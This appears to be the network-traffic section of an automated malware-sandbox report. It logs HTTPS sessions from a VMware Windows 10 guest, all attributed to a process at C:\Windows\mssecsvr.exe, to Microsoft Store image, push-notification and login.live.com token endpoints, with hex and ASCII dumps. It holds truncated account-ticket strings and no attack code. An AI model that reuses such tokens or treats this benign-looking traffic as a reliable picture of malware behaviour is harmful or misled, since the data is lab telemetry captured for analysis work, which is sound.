<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:26:50 UTC	8014	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 63 62 64 34 64 38 62 31 31 34 66 61 36 62 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: 1cbd4d8b114fa6bd<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:26:50 UTC	8015	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 63 62 64 34 64 38 62 31 31 34 66 61 36 62 64 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 1cbd4d8b114fa6bd
2022-07-20 11:26:50 UTC	8015	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:26:50 UTC	8015	IN	Data Raw: 4d 53 2d 43 56 3a 20 6a 67 7a 79 38 78 35 6d 4a 55 47 44 6e 2f 6d 41 61 73 48 4a 51 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: jgzy8x5mJUGDn/mAasHJQg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.7	49739	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:41 UTC	180	OUT	GET /image/apps.616.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.d81cfd95-c9fd-48e0-8fc3-36ff7b9e590a?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:41 UTC	181	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 8756 Content-Type: image/png Last-Modified: Tue, 31 Mar 2020 18:42:50 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTBFMkI5NzY" MS-CV: LWC80YNOokeu7YAI.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:41 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:41 UTC	181	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 21 fb 49 44 41 54 78 da ed 9d 09 98 54 d5 99 bf bf 5a 7a 83 86 6e a0 51 76 94 55 1b d9 dd 45 23 46 8d 26 c4 a0 13 5c 92 19 93 49 1c 9e ff df 99 c9 18 9d 24 2e 20 9a a8 33 79 cc 38 06 93 41 27 13 63 34 71 66 e2 02 ca 62 02 24 51 13 83 2c 51 49 a2 a0 60 b3 08 08 0d d2 0d bd 56 75 f7 bd 53 55 5d 55 7d ea de 73 ee bd d5 dd 60 03 ef 3b cf 49 57 df a2 0a ba 93 7a e7 fb 7e f7 bb e7 86 05 00 e0 18 21 cc af 00 00 10 16 00 00 c2 02 00 84 05 00 80 b0 00 00 10 16 00 20 2c 00 00 84 05 00 80 b0 00 00 61 01 00 20 2c 00 00 84 05 00 08 0b 00 00 61 01 00 20 2c 00 40 58 00 00 08 0b 00 00 61 01 00 c2 02 00 40 58 00 00 08 0b 00 10 16 00 00 c2 02 00 40 58 00 80 b0 00 00 10 Data Ascii: PNGIHDR,,y}u!IDATxTZznQvUE#F&\I$. 3y8A'c4qfb$Q,QI`VuSU]U}s`;IWz~! ,a ,a ,@Xa@X@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.7	61337	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:27:42 UTC	8015	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 35 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 30 63 63 34 62 31 63 32 63 37 37 34 39 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 245Context: d0cc4b1c2c77491
2022-07-20 11:27:42 UTC	8015	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:27:42 UTC	8015	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 30 63 63 34 62 31 63 32 63 37 37 34 39 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 51 Data Ascii: ATH 2 CON\DEVICE 1013Context: d0cc4b1c2c77491<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KUQ
2022-07-20 11:27:42 UTC	8016	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 36 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 30 63 63 34 62 31 63 32 63 37 37 34 39 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 169Context: d0cc4b1c2c77491<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 11:27:42 UTC	8016	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:27:42 UTC	8017	IN	Data Raw: 4d 53 2d 43 56 3a 20 4d 61 6f 64 73 4b 66 72 6c 45 75 6d 79 43 48 51 4b 6d 66 2b 31 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: MaodsKfrlEumyCHQKmf+1w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.7	64847	20.190.159.23	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:28:14 UTC	8017	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 11:28:14 UTC	8017	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 11:28:15 UTC	8027	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 11:27:14 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: e9696fb9-9f40-43d2-99cd-3fbe2810b68b PPServer: PPV: 30 H: BL02PF8010DC504 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 11:28:14 GMT Connection: close Content-Length: 10109
2022-07-20 11:28:15 UTC	8027	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.7	64849	20.190.159.23	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:28:14 UTC	8022	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 11:28:14 UTC	8022	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 11:28:15 UTC	8037	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 11:27:14 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: c5f710de-340b-4515-aad5-7d1082b2194f PPServer: PPV: 30 H: BL02PF4D8DD7EF9 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 11:28:14 GMT Connection: close Content-Length: 10109
2022-07-20 11:28:15 UTC	8038	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.7	64965	20.190.159.23	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:28:15 UTC	8047	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 11:28:15 UTC	8048	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 11:28:15 UTC	8052	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 11:27:15 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 292c1ca2-dccc-44ae-b590-7e729c061a16 PPServer: PPV: 30 H: BL02PF53AA677B1 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 11:28:14 GMT Connection: close Content-Length: 10109
2022-07-20 11:28:15 UTC	8053	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.7	49740	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:41 UTC	180	OUT	GET /image/apps.64128.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.d58015ff-2fcf-4113-975b-e873039b6d86?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:41 UTC	189	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 9564 Content-Type: image/png Last-Modified: Fri, 19 Jun 2020 10:03:46 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MEU0RkE1MkY" MS-CV: PTXdXnhlC0uTORe3.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:41 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:41 UTC	190	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 25 23 49 44 41 54 78 da ed 9d 69 8c 64 d7 75 df ff e7 be 57 5b 6f d3 b3 72 c6 1c 8a 22 c1 55 8e 15 c6 14 25 21 89 21 29 92 62 38 40 12 04 d9 20 d8 81 13 01 71 e2 58 80 05 46 86 21 d1 0a 82 c4 0e 92 2f 8e 2c 41 66 90 0f 89 2c 89 4a 14 4b 96 22 20 a6 43 d9 a2 e4 c8 89 48 91 41 c4 25 e2 1a 72 46 5c c6 9a 95 bd cc f4 56 f7 e4 c3 bb ef bd fb 6e bd ad aa ab 87 54 d7 ff 07 16 fb d5 da 3d 55 fd 7e 7d ce b9 e7 de 0b 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 Data Ascii: PNGIHDR,,y}u%#IDATxiduW[or"U%!!)b8@ qXF!/,Af,JK" CHA%rF\VnT=U~}B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.7	49741	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:42 UTC	199	OUT	GET /image/apps.13224.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.9547b9f0-b1dc-4352-9dc9-7ea6f4eef5c3?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:42 UTC	200	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 38027 Content-Type: image/png Last-Modified: Thu, 23 Jun 2022 15:40:59 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE1NTJFQzUzODRFMTk" MS-CV: WiSzVqIwBkypSNwe.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:42 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:42 UTC	200	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 09 70 48 59 73 00 00 19 d6 00 00 19 d6 01 18 d1 ca ed 00 00 22 cf 49 44 41 54 78 9c ed dd 0b 94 65 55 79 27 f0 6f ef 73 ee ab aa ba 5e 5d ad a2 49 07 46 62 0c 36 08 02 ca 24 92 80 36 98 80 24 32 21 3e 22 10 15 75 81 e3 8c 9a f8 c0 47 c0 26 8c 31 3a 4e 20 ae b8 92 e0 8b 41 5d ea b0 d2 2b 06 70 40 88 13 34 c9 42 5e 36 20 0f 1d 17 da 04 18 e9 aa ee aa ba ef 7b cf d9 7b f6 f3 dc 73 bb 1b 11 53 d5 a7 f7 e9 ff af 2d aa ea d6 a3 cf 2d bb fe eb db df f9 ce 3e 31 01 00 04 22 2e fa 00 00 00 7e 56 08 2c 00 08 06 02 0b 00 82 81 c0 02 80 60 20 b0 00 20 18 08 2c 00 08 06 02 0b 00 82 81 c0 02 80 60 20 b0 00 20 18 08 2c 00 08 06 02 0b 00 82 81 c0 02 80 60 20 b0 00 Data Ascii: PNGIHDR,,y}upHYs"IDATxeUy'os^]IFb6$6$2!>"uG&1:N A]+p@4B^6 {{sS-->1".~V,` ,` ,`
